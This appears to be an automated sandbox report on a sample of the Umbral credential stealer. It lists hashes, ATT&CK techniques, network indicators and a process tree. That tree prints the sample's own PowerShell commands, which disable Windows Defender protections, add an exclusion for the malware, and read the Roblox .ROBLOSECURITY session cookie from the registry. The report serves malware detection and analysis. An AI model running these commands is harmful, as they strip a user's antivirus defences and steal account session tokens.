umbral | f2ee9f8cda21c09cf9351463d0cc4dbe1d11ae8dadd8ebfc160ac436d186265e

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
04-08-2024 11:57

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General

Target

ogasda.exe
Size

229KB
MD5

33a10c04946e6aebc438b7cba8b42140
SHA1

f4b94c6914cabde06072676547af27d1864373e6
SHA256

f2ee9f8cda21c09cf9351463d0cc4dbe1d11ae8dadd8ebfc160ac436d186265e
SHA512

39d288585b07eb81d82ba4f7b475782223b141804e2d1d5c2dae3077f6b7cb2f7778b36e1aa77388ac60fd9a6998b70fe5e99ff302dc23f5ca10c8c373212f1a
SSDEEP

6144:lloZMCrIkd8g+EtXHkv/iD4ZeBZAmB5Kh/Cwhl0YSb8e1m6oOUi:noZZL+EP8ZeBZAmB5Kh/Cwhl0H9

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1816-1-0x00000000010F0000-0x0000000001130000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe
2892	powershell.exe
2924	powershell.exe
2624	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
572	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2716	powershell.exe
2924	powershell.exe
2624	powershell.exe
1728	powershell.exe
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	ogasda.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeIncreaseQuotaPrivilege	3024	wmic.exe
Token: SeSecurityPrivilege	3024	wmic.exe
Token: SeTakeOwnershipPrivilege	3024	wmic.exe
Token: SeLoadDriverPrivilege	3024	wmic.exe
Token: SeSystemProfilePrivilege	3024	wmic.exe
Token: SeSystemtimePrivilege	3024	wmic.exe
Token: SeProfSingleProcessPrivilege	3024	wmic.exe
Token: SeIncBasePriorityPrivilege	3024	wmic.exe
Token: SeCreatePagefilePrivilege	3024	wmic.exe
Token: SeBackupPrivilege	3024	wmic.exe
Token: SeRestorePrivilege	3024	wmic.exe
Token: SeShutdownPrivilege	3024	wmic.exe
Token: SeDebugPrivilege	3024	wmic.exe
Token: SeSystemEnvironmentPrivilege	3024	wmic.exe
Token: SeRemoteShutdownPrivilege	3024	wmic.exe
Token: SeUndockPrivilege	3024	wmic.exe
Token: SeManageVolumePrivilege	3024	wmic.exe
Token: 33	3024	wmic.exe
Token: 34	3024	wmic.exe
Token: 35	3024	wmic.exe
Token: SeIncreaseQuotaPrivilege	3024	wmic.exe
Token: SeSecurityPrivilege	3024	wmic.exe
Token: SeTakeOwnershipPrivilege	3024	wmic.exe
Token: SeLoadDriverPrivilege	3024	wmic.exe
Token: SeSystemProfilePrivilege	3024	wmic.exe
Token: SeSystemtimePrivilege	3024	wmic.exe
Token: SeProfSingleProcessPrivilege	3024	wmic.exe
Token: SeIncBasePriorityPrivilege	3024	wmic.exe
Token: SeCreatePagefilePrivilege	3024	wmic.exe
Token: SeBackupPrivilege	3024	wmic.exe
Token: SeRestorePrivilege	3024	wmic.exe
Token: SeShutdownPrivilege	3024	wmic.exe
Token: SeDebugPrivilege	3024	wmic.exe
Token: SeSystemEnvironmentPrivilege	3024	wmic.exe
Token: SeRemoteShutdownPrivilege	3024	wmic.exe
Token: SeUndockPrivilege	3024	wmic.exe
Token: SeManageVolumePrivilege	3024	wmic.exe
Token: 33	3024	wmic.exe
Token: 34	3024	wmic.exe
Token: 35	3024	wmic.exe
Token: SeIncreaseQuotaPrivilege	2888	wmic.exe
Token: SeSecurityPrivilege	2888	wmic.exe
Token: SeTakeOwnershipPrivilege	2888	wmic.exe
Token: SeLoadDriverPrivilege	2888	wmic.exe
Token: SeSystemProfilePrivilege	2888	wmic.exe
Token: SeSystemtimePrivilege	2888	wmic.exe
Token: SeProfSingleProcessPrivilege	2888	wmic.exe
Token: SeIncBasePriorityPrivilege	2888	wmic.exe
Token: SeCreatePagefilePrivilege	2888	wmic.exe
Token: SeBackupPrivilege	2888	wmic.exe
Token: SeRestorePrivilege	2888	wmic.exe
Token: SeShutdownPrivilege	2888	wmic.exe
Token: SeDebugPrivilege	2888	wmic.exe
Token: SeSystemEnvironmentPrivilege	2888	wmic.exe
Token: SeRemoteShutdownPrivilege	2888	wmic.exe
Token: SeUndockPrivilege	2888	wmic.exe
Token: SeManageVolumePrivilege	2888	wmic.exe
Token: 33	2888	wmic.exe
Token: 34	2888	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 2716	1816	ogasda.exe	30
PID 1816 wrote to memory of 2716	1816	ogasda.exe	30
PID 1816 wrote to memory of 2716	1816	ogasda.exe	30
PID 1816 wrote to memory of 2924	1816	ogasda.exe	32
PID 1816 wrote to memory of 2924	1816	ogasda.exe	32
PID 1816 wrote to memory of 2924	1816	ogasda.exe	32
PID 1816 wrote to memory of 2624	1816	ogasda.exe	34
PID 1816 wrote to memory of 2624	1816	ogasda.exe	34
PID 1816 wrote to memory of 2624	1816	ogasda.exe	34
PID 1816 wrote to memory of 1728	1816	ogasda.exe	36
PID 1816 wrote to memory of 1728	1816	ogasda.exe	36
PID 1816 wrote to memory of 1728	1816	ogasda.exe	36
PID 1816 wrote to memory of 3024	1816	ogasda.exe	38
PID 1816 wrote to memory of 3024	1816	ogasda.exe	38
PID 1816 wrote to memory of 3024	1816	ogasda.exe	38
PID 1816 wrote to memory of 2888	1816	ogasda.exe	41
PID 1816 wrote to memory of 2888	1816	ogasda.exe	41
PID 1816 wrote to memory of 2888	1816	ogasda.exe	41
PID 1816 wrote to memory of 2116	1816	ogasda.exe	43
PID 1816 wrote to memory of 2116	1816	ogasda.exe	43
PID 1816 wrote to memory of 2116	1816	ogasda.exe	43
PID 1816 wrote to memory of 2892	1816	ogasda.exe	45
PID 1816 wrote to memory of 2892	1816	ogasda.exe	45
PID 1816 wrote to memory of 2892	1816	ogasda.exe	45
PID 1816 wrote to memory of 572	1816	ogasda.exe	47
PID 1816 wrote to memory of 572	1816	ogasda.exe	47
PID 1816 wrote to memory of 572	1816	ogasda.exe	47

C:\Users\Admin\AppData\Local\Temp\ogasda.exe
"C:\Users\Admin\AppData\Local\Temp\ogasda.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ogasda.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3024
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
65201e0b808801a70b5a2b5909874811

SHA1
d49edd2fd8bc33c06b1438a3ac8b551c90c32496

SHA256
b8c76742bbded8d39d73cb88d36faddf12c91c9730446d9a6ab6a3d592becf19

SHA512
53f8a557b369738be331bdd5b0dac79664f6f9b57909afa369636ecade9c91de12eea59f0eafae18202351fe09daca79c866b4bdabc63b176ac2ed42228b006b

Download Submit
memory/1816-1-0x00000000010F0000-0x0000000001130000-memory.dmp

Filesize
256KB

Download
memory/1816-2-0x000007FEF5320000-0x000007FEF5D0C000-memory.dmp

Filesize
9.9MB

Download
memory/1816-51-0x000007FEF5320000-0x000007FEF5D0C000-memory.dmp

Filesize
9.9MB

Download
memory/1816-0-0x000007FEF5323000-0x000007FEF5324000-memory.dmp

Filesize
4KB

Download
memory/2716-10-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2716-8-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2716-11-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-13-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-12-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-14-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-15-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-9-0x000007FEEC8A0000-0x000007FEED23D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-7-0x000007FEECB5E000-0x000007FEECB5F000-memory.dmp

Filesize
4KB

Download
memory/2892-47-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2924-21-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2924-22-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download